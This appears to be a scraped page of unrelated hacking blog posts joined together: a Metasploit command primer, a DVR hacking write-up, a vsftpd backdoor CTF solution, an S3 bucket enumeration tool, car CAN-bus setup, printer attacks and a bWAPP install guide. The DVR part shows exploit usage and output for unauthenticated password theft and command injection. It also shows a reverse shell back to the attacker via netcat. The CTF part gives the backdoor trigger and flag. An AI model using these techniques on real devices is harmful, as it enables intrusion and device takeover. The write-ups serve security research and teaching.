BASICS OF METASPLOIT – BASIC COMMANDS OF METASPLOIT

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. Here I am going to discuss the basics of Metasploit. I am not covering attacks in this article, as I am just making sure to share the basics of Metasploit and basic commands of Metasploit. So, we can get back to cover attacks of Metasploit in the next articles.

BASICS OF METASPLOIT

The Metasploit framework has three types of working environments.

1. msfconsole
2. msfcli interface
3. msfweb interface

However, the most preferred and used is the 'msfconsole'. It's a very efficient command-line interface that has its own set of commands and system's working environment.

First of all, it's most important to know and understand all the useful commands of Metasploit that are going to be used.

BASIC COMMANDS OF METASPLOIT

Metasploit have a huge number of command that we can use in different type of attacks, but I am just going to share the most used and useful commands here that a beginner can easily understand and follow 'em.

• help (It will give the basic commands you need to launch an exploit.
• search (Finds out the keywords in the selected attack method).
• show exploits (Shows list of an available exploit in the selected option).
• show payloads (It lists all the payloads available).
• show options (It helps you to know all the options if you might have forgotten one).
• info (This is used to get information about any exploit or payload).
• use (It tells Metasploit to use the exploit with the specified name).
• set RHOST (Sets the address of specified remote host).
• set RPORT (Sets up a port that connects to on the remote host).
• set PAYLOAD (It sets the payload that gives you a shell when a service is exploited).
• set LPORT (Sets the port number that the payload will open on the server when an exploit is exploited).
• exploit  (It actually exploits the service).
• rexploit (Reloads your exploit code and then executes the exploit without restarting the console).

These are the most used Metasploit commands which come in handy in most of the situations during any sort of attack. You must give all the commands a try and understand 'em how it works and then move to the next part of designing an attack.

Swann Song - DVR Insecurity

"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.

I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)

After opening the device up something grabbed my attention right away....

The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port :)

After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.

Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:

setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single

This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".

Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:

python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456

Script can be found here.

After owning the device at the "application" level, I figured it was time to go deeper.

Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:

"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)

Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999

Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.

Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.

tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.

Vsftpd Backdoor - Ekoparty Prectf - Amn3S1A Team

It's a 32bits elf binary of some version of vsftpd, where it have been added a backdoor, they don't specify is an authentication backdoor, a special command or other stuff.

I started looking for something weird on the authentication routines, but I didn't found anything significant in a brief period of time, so I decided to do a bindiff, that was the key for locating the backdoor quickly. I do a quick diff of the strings with the command "strings bin | sort -u" and "vimdiff" and noticed that the backdoored binary has the symbol "execl" which is weird because is a call for executing elfs, don't needed for a ftp service, and weird that the compiled binary doesn't has that symbol.

Looking the xrefs of "execl" on IDA I found that code that is a clear backdoor, it create a socket, bind a port and duplicate the stdin, stdout and stderr to the socket and use the execl:

There are one xrefs to this function, the function that decides when trigger that is that kind of systems equations decision:

The backdoor was not on the authentication, it was a special command to trigger the backdoor, which is obfuscated on that systems equation, it was no needed to use a z3 equation solver because is a simple one and I did it by hand.

The equation:

cmd[0] = 69

cmd[1] = 78

cmd[1] + cmd[2] = 154

cmd[2] + cmd[3] = 202

cmd[3] + cmd[4] = 241

cmd[4] + cmd[5] = 233

cmd[5] + cmd[6] = 217

cmd[6] + cmd[7] = 218

cmd[7] + cmd[8] = 228

cmd[8] + cmd[9] = 212

cmd[9] + cmd[10] = 195

cmd[10] + cmd[11] = 195

cmd[11] + cmd[12] = 201

cmd[12] + cmd[13] = 207

cmd[13] + cmd[14] = 203

cmd[14] + cmd[15] = 215

cmd[15] + cmd[16] = 235

cmd[16] + cmd[17] = 242

The solution:

cmd[0] = 69

cmd[1] = 75

cmd[2] = 79

cmd[3] = 123

cmd[4] = 118

cmd[5] = 115

cmd[6] = 102

cmd[7] = 116

cmd[8] = 112

cmd[9] = 100

cmd[10] = 95

cmd[11] = 100

cmd[12] = 101

cmd[13] = 106

cmd[14] = 97                    

cmd[15] = 118

cmd[16] = 117

cmd[17] = 125

The flag:

EKO{vsftpd_dejavu}

goGetBucket - A Penetration Testing Tool To Enumerate And Analyse Amazon S3 Buckets Owned By A Domain

When performing a recon on a domain - understanding assets they own is very important. AWS S3 bucket permissions have been confused time and time again, and have allowed for the exposure of sensitive material.

What this tool does, is enumerate S3 bucket names using common patterns I have identified during my time bug hunting and pentesting. Permutations are supported on a root domain name using a custom wordlist. I highly recommend the one packaged within AltDNS.

The following information about every bucket found to exist will be returned:

• List Permission
• Write Permission
• Region the Bucket exists in
• If the bucket has all access disabled

Installation

go get -u github.com/glen-mac/goGetBucket

Usage
goGetBucket -m ~/tools/altdns/words.txt -d <domain> -o <output> -i <wordlist>

Usage of ./goGetBucket:
  -d string
        Supplied domain name (used with mutation flag)
  -f string
        Path to a testfile (default "/tmp/test.file")
  -i string
        Path to input wordlist to enumerate
  -k string
        Keyword list (used with mutation flag)
  -m string
        Path to mutation wordlist (requires domain flag)
  -o string
        Path to output file to store log
  -t int
        Number of concurrent threads (default 100)

Throughout my use of the tool, I have produced the best results when I feed in a list (-i) of subdomains for a root domain I am interested in. E.G:

www.domain.com
mail.domain.com
dev.domain.com

The test file (-f) is a file that the script will attempt to store in the bucket to test write permissions. So maybe store your contact information and a warning message if this is performed during a bounty?
The keyword list (-k) is concatenated with the root domain name (-d) and the domain without the TLD to permutate using the supplied permuation wordlist (-m).
Be sure not to increase the threads too high (-t) - as the AWS has API rate limiting that will kick in and start giving an undesired return code.

Hacking All The Cars - Part 2

Connecting Hardware to Your Real Car: 

 I realized the other day I posted Part 2 of this series to my youtube awhile ago but not blogger so this one will be quick and mostly via video walkthrough. I often post random followup videos which may never arrive on this blog. So if you're waiting on something specific I mentioned or the next part to a series its always a good idea to subscribe to the YouTube. This is almost always true if there is video associated with the post.  

In the last blog we went over using virtual CAN devices to interact with a virtual car simulators of a CAN network This was awesome because it allowed us to learn how to interact with he underlying CAN network without fear of hacking around on an expensive automobile. But now it's time to put on your big boy pants and create a real CAN interface with hardware and plug your hardware device into your ODB2 port. 

The video I created below will show you where to plug your device in, how to configure it and how to take the information you learned while hacking around on the virtual car from part1 and apply it directly to a real car.   

Video Walk Through Using Hardware on a Real Car

As a reference here are the two device options I used in the video and the needed cable: 

Hardware Used: 

Get OBD2 Cable:
https://amzn.to/2QSmtyL

Get CANtact:
https://amzn.to/2xCqhMt

Get USB2CAN:
https://shop.8devices.com/usb2can

Creating Network Interfaces: 

As a reference here are the commands from the video for creating a CAN network interface: 

USB2Can Setup: 

The following command will bring up your can interface and you should see the device light color change: 

sudo ip link set can0 up type can bitrate 125000

Contact Setup: 

Set your jumpers on 3,5 and 7 as seen in the picture in the video

Sudo slcand -o -s6 /dev/ttyACM can0 <— whatever device you see in your DMESG output

Ifconfig can0 up

Summary: 

That should get you started connecting to physical cars and hacking around. I was also doing a bit of python coding over these interfaces to perform actions and sniff traffic. I might post that if anyone is interested. Mostly I have been hacking around on blockchain stuff and creating full course content recently so keep a look out for that in the future.

New Printers Vulnerable To Old Languages

When we published our research on network printer security at the beginning of the year, one major point of criticism was that the tested printers models had been quite old. This is a legitimate argument. Most of the evaluated devices had been in use at our university for years and one may raise the question if new printers share the same weaknesses.

35 year old bugs features

The key point here is that we exploited PostScript and PJL interpreters. Both printer languages are ancient, de-facto standards and still supported by almost any laser printer out there. And as it seems, they are not going to disappear anytime soon. Recently, we got the chance to test a $2,799 HP PageWide Color Flow MFP 586 brand-new high-end printer. Like its various predecessors, the device was vulnerable to the following attacks:

• Capture print jobs of other users if they used PostScript as a printer driver; This is done by first infecting the device with PostScript code
• Manipulate printouts of other users (overlay graphics, introduce misspellings, etc.) by infecting the device with PostScript malware
• List, read from and write to files on the printers file system with PostScript as well as PJL functions; limited to certain directories
• Recover passwords for PostScript and PJL credentials; This is not an attack per se but the implementation makes brute-force rather easy
• Launch denial of Service attacks of various kinds:
  • PostScript based infinite loops
  • PostScript showpage redefinition
  • Disable jobmedia with proprietary PJL
  • Set the device to offline mode with PJL

Now exploitable from the web

All attacks can be carried out by anyone who can print, which includes:

• Web attacker:
  • A malicious website that uses XSP
• Network access:
  • Via Jetdirect (port 9100/tcp)
  • Via LPD (port 515/tcp)
  • Via IPP (port 631/tcp)
• Wireless access:
  • Apple Air Print (enabled by default)
• Cloud access:
  • Google Cloud Print (disabled by default)
• Physical access:
  • Printing via USB cable or USB drive
  • Potentially NFC printing (haven't tested)

Note that the product was tested in the default configuration. To be fair, one has to say that the HP PageWide Color Flow MFP 586 allows strong, Kerberos based user authentication. The permission to print, and therefore to attack the device, can be be limited to certain employees, if configured correctly. The attacks can be easily reproduced using our PRET software. We informed HP's Software Security Response Team (SSRT) in February.

Conclusion: Christian Slater is right

PostScript and PJL based security weaknesses have been present in laser printers for decades. Both languages make no clear distinction between page description and printer control functionality. Using the very same channel for data (to be printed) and code (to control the device) makes printers insecure by design. Manufacturers however are hard to blame. When the languages were invented, printers used to be connected to a computer's parallel or serial port. No one probably thought about taking over a printer from the web (actually the WWW did not even exist, when PostScript was invented back in 1982). So, what to do? Cutting support for established and reliable languages like PostScript from one day to the next would break compatibility with existing printer drivers. As long as we have legacy languages, we need workarounds to mitigate the risks. Otherwise, "The Wolf" like scenarios can get very real in your office…

Ethical Hackers Platform: How To Install A bWAPP In Windows 2018

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application. It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities. bWAPP prepares one to conduct successful penetration testing and ethical hacking projects.

What makes bWAPP so unique? Well, it has over 100 web vulnerabilities!
It covers all major known web bugs, including all risks from the OWASP Top 10 project.  bWAPP is for web application security-testing and educational purposes only.

Have fun with this free and open source project!
bWAPP is a PHP application that uses a MySQL database. It can be hosted on Linux/Windows with Apache/IIS and MySQL. It can also be installed with WAMP or XAMPP. Another possibility is to download the bee-box, a custom Linux VM pre-installed with bWAPP.

First of all you have need to install a local server over system that may be XAMPP, WAMP or LAMP. These servers are totally free of cost you can freely download from the internet. Mostly XAMPP is used because it has more functionalities than others on the other hand WAMP is also a simple platform for PHP while, LAMP is used over the Linux distributions. After downloading any one of them you have need to install that first after that you'll be able to configure bWAPP over your system.

Why we use the software application for configuring this bWAPP? As we know PHP is a server side language and there must be a server to read the PHP script. Without using any server we can't do programming with PHP. If you have a little piece of code of PHP you must install a server in your system for running that PHP script.
